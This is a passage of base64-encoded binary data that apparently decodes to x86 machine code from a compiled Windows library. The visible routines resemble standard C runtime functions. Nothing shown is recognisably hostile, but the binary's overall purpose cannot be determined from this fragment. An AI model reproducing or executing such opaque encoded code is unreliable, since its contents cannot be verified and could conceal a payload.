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Y1Y////iYVo////hfYPhKQBAACDvWT///8AD4SXAQAAg30QAA+EjQEAAIA+Q3VTgH4BAHVNaOzkAxD/dRD/tWT////oa0gAAIPEDIXAdSeF/3QLZokHZolHAmaJRwSLhWD///+FwHQDgyAAi4Vk////6UMBAAAzwFBQUFBQ6M9HAABW6GoVAAC/gwAAAFmJhVD///87x3MsVv+1aP///+juVAAAWVmFwA+EowAAAFb/tVj////o2FQAAFlZhcAPhI0AAACDpUz///8AjYVs////VlDo4Pv//1lZhcAPhdUAAACNhWz///9QU1Do7J8AAIPEDIXAD4S8AAAAD7dDBIuNVP///4kBjYVs////UFf/tWj////ovfz//4PEDIA+AHQKi4VQ////O8dyC4uFTP///750FwQQQFBWV/+1WP///+hUmQAAg8QQhcAPhSX///8z9jm1XP///3QRagZT/7Vc////6BkVAACDxAw5tWD///90FmoE/7VU/////7Vg////6PsUAACDxAz/tWj/////dRD/tWT////oFUcAAIPEDIXAdQiLhWj////rDFZWVlZW6cb+//8zwItN/F9eM81b6CHg///Jw4v/VYvsgezIAQAAodAGBRAzxYlF/ItFCFOL2VeJnXD+//+JhWj+///o8E8AAIv4U42FXP7//1CNhVD+//9QaIMAAACNhXj///9Q/7Vo/v//6Ir9//+DxBiFwHUQM8CLTfxfM81b6LXf///Jw8HjBAPe/3NIjYV4////UOhKUwAAWVmFwHUFi0NI69ONhXj///9Q6JMTAACDwAVQiYV0/v//6AUsAABZWYmFbP7//4XAdKqLQ0iLjXD+//+JhWj+//+NRI4MiYVY/v//iwCJhUj+//+NQQZrwAYDxmoGUImFZP7//42FOP7//1DoyhMAAItGBI2NeP///1GLjXT+//+JhUz+//+LhWz+//+DwfyDwARRUOjSRQAAg8QYhcAPhQkCAACLhWz+//+LjVj+//+DwASJQ0gPt4VQ/v//iQFqBo2FUP7//1D/tWT+///oZxMAAIPEDIO9cP7//wIPhRkBAACLhVz+//+DpXT+//8AiUYEi4f0AQAAi4/wAQAAiYVk/v//jYfQAQAAi1YEOxB0NosQ/4V0/v//iQiLjWT+//+JlUD+//+LUASJSASLjUD+//+DwAiDvXT+//8FiZVk/v//fMXrLYuFdP7//4XAdCONhMfQAQAAixCJl9ABAACLUASJl9QBAACJCIuNZP7//4lIBIO9dP7//wV1cmoB/3YUjYV4/v///3YEUGp/aLDnAxBqAWoA6CO1AACDxCCFwHQ8M8C5/wEAAGYhjEV4/v//QIP4f3LtaP4AAAD/NTgFBRCNhXj+//9Q6LWeAACDxAz32BvAQImH1AEAAOsHg6fUAQAAAItGBImH0AEAAIuH1AEAAImGqAAAAIO9cP7//wF1CYuFXP7//4lGCIuFcP7//2vADFb/kHDnAxBZhcB0MYuFaP7///+1bP7//4lDSOjE4v//i4VI/v//WYuNWP7//4kBi4VM/v//iUYE6Yj9//+BvWj+//8ABwUQdC6LvXD+//+DxwUD//80/v8VUOIDEIXAdRb/NP7oe+L///9zVOhz4v//g2NMAFlZi41w/v//i4Vs/v//g8EFA8nHAAEAAACJBM7pWf3//zPAUFBQUFDoUEMAAMyL/1WL7IHsmAAAAKHQBgUQM8WJRfyLRQhTVjPbi/JXibVo////O8t0GzvDdAxQ6JP8//9Z6dQBAAADyYtEzkjpyQEAAMeFcP///wEAAACJnXT///87ww+ErAEAAIA4TA+FMAEAAIB4AUMPhSYBAACAeAJfD4UcAQAAi/hoROgDEFfoirQAAIvYWVmF2w+E/wAAACvHiYVw////D4TxAAAAgDs7D4ToAAAAx4Vs////AQAAAL505wMQ6waLhXD///9QV/826H2zAACDxAyFwHUQ/zboGRAAAFk5hXD///90Ef+FbP///4PGDIH+pOcDEH7JQ2g86AMQU+hz4v//i/gz9llZO/51CYA7Ow+FgQAAAIO9bP///wV/RFdTjYV4////aIMAAABQ6GyUAACDxBCFwHVUi41s////i7Vo////iIQ9eP///42FeP///1DodPv//1mFwHQG/4V0////A/uAPwB0CkeAPwAPhQ3///8zwDmFdP///w+EkQAAAIu1aP///+mBAAAAVlZWVlbovkEAADPA63hTU1NogwAAAI2NeP///1FQ6Pv4//+DxBg7w3RcjX5Ihdt0Nf83jYV4////UOjKTgAAWVmFwHQbjYV4////UIvL6Oz6//9ZhcB1CCGFcP///+sG/4V0////Q4PHEIP7BX6+M8A5hXD///91CDmFdP///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